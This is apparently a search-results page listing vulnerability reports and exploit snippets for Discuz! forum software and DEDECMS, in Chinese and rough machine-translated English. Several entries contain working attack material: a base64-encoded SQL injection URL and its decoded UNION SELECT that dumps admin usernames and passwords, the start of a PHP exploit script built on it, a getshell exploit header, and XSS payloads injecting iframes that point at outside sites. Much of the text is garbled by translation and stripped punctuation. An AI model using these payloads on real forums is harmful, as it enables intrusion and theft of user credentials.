613 matches found
Discuz! x2 201110版 报物理路径
简要描述： 详细说明： attachEventwindow, 'load', function appendscript''.$jsurl.'', '', 1, 'utf-8' , document;'; function connectoutputphp$url, $postData = '' global $G; $response = dfsockopen$url, 0, $postData, '', false, $G'setting''cloudapiip'; $result = array unserialize$response; return $result;...
DEDECMS global variable overwrite vulnerability science-vulnerability warning-the black bar safety net
DEDECMS global variable overwrite vulnerability was first wolves security team 0 9 published in the official soften up until now didn't repair the vulnerability, and now covers substantially DEDECMS full version. Personal guess is not the official deliberately left the back door. The following...
Discuz 1.5 storm WEB path vulnerability-vulnerability warning-the black bar safety net
Test environment: discuz X1. 5+nginx 1.0 漏洞 文件 source/function/functioncore.php that Code: $G'setting''domain''app''default' && $content = pregreplace"/a href="^"+"/e", "rewriteoutput'sitedefault', 0, '".$ G'setting''domain''app''default'.$ port.$ G'siteroot'."', '\\1'", $content; Use code:...
Discuz 1.5 with NGINX secondary analytical proof path BUG-vulnerability warning-the black bar safety net
Author: Sunny small cast Test environment: discuz X1. 5+nginx 1.0 漏洞 文件 source/function/functioncore.php that code: $G'setting''domain''app''default' && $content = pregreplace"/a href="^"+"/e", "rewriteoutput'sitedefault', 0, '".$ G'setting''domain''app''default'.$ port.$ G'siteroot'."',...
Discuz! 1.5-2.0 forum_misc.php SQL注入漏洞
No description provided by source...
Discuz! X2 forum_attachment.php sql注入漏洞
No description provided by source...
Discuz X2 SQL injection/Xpath latest vulnerability-vulnerability warning-the black bar safety net
| Vulnerability type: SQL injection/Xpath Request method: POST Affected page: http://127.0.0.1/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes Parameters:username Parameters of the test: and 1=1 Attack details: username=1+and+1=1&cookietime=2 5 9 2 0 0...
Discuz 存在XSS漏洞 仅测X1.5
简要描述： Discuz 可能存在XSS漏洞 仅测X1.5 其他没试过 详细说明： 过滤不严 漏洞证明：...
Discuz! NT 3.6 user-space cross-site vulnerabilities and fixes-vulnerability warning-the black bar safety net
Affected version: Discuz! NT 3.6 Vulnerability description: Discuz! NT3. 6 version of the user space log edit not user-submitted data do security filtering, and can lead to insertion of malicious code. Attacker to exploit the vulnerability, you may get a normal user the Cookie of sensitive data,...
Discuz!NT 3.6用户空间跨站漏洞
Discuz!NT3.6版本的用户空间日志编辑未对用户提交的数据做安全性过滤，导致可以插入恶意代码。攻击者利用该漏洞，可能获取正常用户Cookie中的敏感数据、屏蔽页面特定信息、伪造页面信息、拒绝服务攻击、突破外网内网不同安全设置、与其它漏洞结合，修改系统设置，查看系统文件，执行系统命令等！ bug体验地址： http://nt.discuz.net/space/viewspacepost.aspx?postid=3770&spaceid=1882 Discuz!NT 3.6 等待官网出升级补丁 再发表新日志的内容框里输入以下测试语句。 iframe...
Discuz!NT 3.6邀请跨站漏洞
比较鸡肋的一个跨站漏洞，需要用户登陆后才能利用。 Discuz!NT 3.6 等待官方升级补丁 http://nt.discuz.net/invite.aspx?usersaid=%3Ciframe%20src=%22http://www.zhu.cm%22...
Discuz!NT 3.6用户空间跨站漏洞
简要描述： Discuz!NT3.6版本的用户空间日志编辑未对用户提交的数据做安全性过滤，导致可以插入恶意代码。攻击者利用该漏洞，可能获取正常用户Cookie中的敏感数据、屏蔽页面特定信息、伪造页面信息、拒绝服务攻击、突破外网内网不同安全设置、与其它漏洞结合，修改系统设置，查看系统文件，执行系统命令等！ bug体验地址： http://nt.discuz.net/space/viewspacepost.aspx?postid=3770&spaceid=1882 详细说明： 漏洞证明：...
Discuz X2 Safety study: SQL and XSS injection vulnerability 0day analysis-vulnerability warning-the black bar safety net
Recently, DiscuzX2 is out with two 0day, aSQL injectionvulnerability, an attacker can use this vulnerability to obtain the username and password, another is toXSSinjection vulnerabilities, the attacker can achieve the website hanging horse, Web sites, phishing and other acts, the current official...
Discuz！NT3.6 跨站漏洞
Discuz！NT基于ASP.NT平台的社区软件,包括BBS、Space、相册、聚合等 登录框提交用户名和密码的时候存在跨站漏洞 Discuz！NT3.6 暂无 ---- 等待官方补丁 登录框提交用户名和密码的时候存在跨站漏洞 http://nt.discuz.net/login.aspx?postusername=%22%3E%3Ciframe%20src=%22http://www.nhs8.com%22%3E...
Discuz! X2远程SQL注入漏洞
Discuz! X2在处理请求数据时存在SQL注入漏洞，远程攻击者可利用此漏洞非授权操作数据库。 漏洞存在于如下代码中： if!defined'INDISCUZ' exit'Access Denied'; define'NOROBOT', TRUE; @list$G'gpaid', $G'gpk', $G'gpt', $G'gpuid', $G'gptableid' = explode'|', base64decode$G'gpaid'; if!empty$G'gpfindpost' && $attach = DB::fetchfirst"SELECT pid, tid FROM...
discuz! X1.5 Get Shell 0day
No description provided by source. ?php printr' +---------------------------------------------------------------------------+ Discuz! X1-1.5 notifycredit.php Blind SQL injection exploit by toby57 2010.11.05 mail: admin at bkey org team: http://www.bkey.org 说明:alibaba把后续getshell代码添加了下去...
Discuz!NT 3.6跨站漏洞
简要描述： 登陆框提交用户名或密码的时候存在跨站漏洞。 详细说明： 漏洞证明： http://nt.discuz.net/login.aspx?postusername=%22%3E%3Ciframe%20src=%22http://www.zhu.cm%22%3E...
Discuz! X2.0 SQL注入漏洞 EXP
简要描述： 详细说明： DZ2.0直接暴管理账号密码（默认前缀的情况下） http://XXXXXXXX/forum.php?mod=attachment&findpost=ss&aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2V sZWN0IDEsZ3JvdXBfY29uY2F0KHVzZXJuYW1lLDB4N0MzMjc0NzQ3QyxwYXNzd 29yZCkgZnJvbSBwcmVfY29tbW9uX21lbWJlciB3aGVyZSAgdXNlcm5hbWUgbGl rZSAnYWRtaW58eHx5%3D base64解码 1′ and 1=2 unio...
Discuz! X2. 0 0day EXP-vulnerability warning-the black bar safety net
? php echo "Discuz! X2. 0 0day EXP\n"; echo "By:Steeltiger \n"; echo "php.exe dz2exp.php http://www.xxx.com/ admin\n"; if! empty$argv1 &&! empty$argv2 echo "Start\n"; $exp = base64encode"1' and 1=2 union all select 1,groupconcatusername,0x7C3274747C,password from precommonmember where username li...